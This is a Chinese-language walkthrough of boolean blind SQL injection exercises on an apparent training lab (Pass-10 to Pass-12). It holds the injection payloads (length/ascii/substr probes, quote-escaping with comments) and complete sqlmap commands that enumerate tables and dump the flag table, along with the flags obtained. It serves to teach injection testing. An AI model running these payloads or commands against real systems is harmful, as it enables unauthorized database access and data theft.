所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。 服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。 布尔型盲注 => 通过 G E T / _GET/ GET/_POST传参获取后台数据库内容,并且可以通过URL栏/登录框进行SQL代码注入的 length() => 返回(字符串)长度的数值 substr([],[A],[B]) => 返回[]值中,[A]开始[B]位后的字符值 ascii() => 通过数值返回(此处内容)的阿斯克码
页面原始URL:http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 任务: 通过盲注获得flag。 对该页面进行GET传参,传参名为id
判断传入参数类型 参数添加and 1=1页面无变化 参数添加and 1=2,页面有变化,说明可以判断sql语句被执行,且传入参数为数字。存在SQL注入
现在构造一个语句猜测数据库名长度 and length(database())>10显示 这样一直猜测得到数据库长度为12
现在构造一个语句猜测数据库名第一个字母的ascii码是否大于100 and ascii(substr(database(),1,1))>100 可以看出大于100。 就这样尝试到and ascii(substr(database(),1,1))=107 而 and ascii(substr(database(),1,1))=108显示 可以得到第一个字符是107。
使用bp爆破模块猜解数据库名,最后得出的数据库名是:kanwolongxia ps:使用alt+小键盘数字可以直接按出ascii码对应的字符。
使用sqlmap得到表名 python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id -threads 50 -D kanwolongxia --tables
使用sqlmap得到字段名 python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id -threads 50 -D kanwolongxia -T loflag --columns
使用sqlmap得到记录 python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1 -p id --threads 50 -D kanwolongxia -T loflag -C flaglo --dump 最终得出flag:zKaQ-QQQ
页面原始URL:http://inject2.lab.aqlab.cn:81/Pass-11/index.php?id=1 任务: 通过盲注获得flag。 对该页面进行GET传参,传参名为id
与Rank1相同,需要自行添加闭合符"和注释-- 0把后面的后引号注释掉
判断传入参数类型 参数添加" and 1=1 – 0页面无变化 参数添加" and 1=2 – 0,页面有变化,说明可以判断sql语句被执行,且传入参数为数字。存在SQL注入
现在构造一个语句猜测数据库名长度 " and length(database())>10 – 0显示 这样一直猜测得到数据库长度为12
构造一个语句猜测数据库名第一个字母的ascii码是否大于100 可以得到第一个字符是107。
使用bp爆破模块猜解数据库名,最后得出的数据库名是:kanwolongxia
使用sqlmap得到表名 python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-11/index.php?id=1 -p id -threads 50 -D kanwolongxia --tables
使用sqlmap得到字段名 python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-11/index.php?id=1 -p id -threads 50 -D kanwolongxia -T loflag --columns
使用sqlmap得到记录 python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-11/index.php?id=1 -p id --threads 50 -D kanwolongxia -T loflag -C flaglo --dump 最终得出flag:zKaQ-RD
页面原始URL:http://inject2.lab.aqlab.cn:81/Pass-12/index.php 任务:通过布尔注入获得flag。
与Rank1相同,需要在第一个输入框输入\ 将后引号转义,在下一个输入框使用or进行判断(因为输入账号密码部分判断取False),再加入执行的查询语句,最后加入-- 0把后引号注释掉 以下为Burp抓取并且修改Custom部分的request包 最终得出flag:zKaQ-Moren
1)盲注是在没有回显,关闭错误页面,采用的一种测试方法,有点费时间。 2)sqlmap 在参数错误的时候有时候不会提示。。。有时候指定参数都跑不出来 3)不同的数据库可以使用的空耗时间的函数也不尽相同。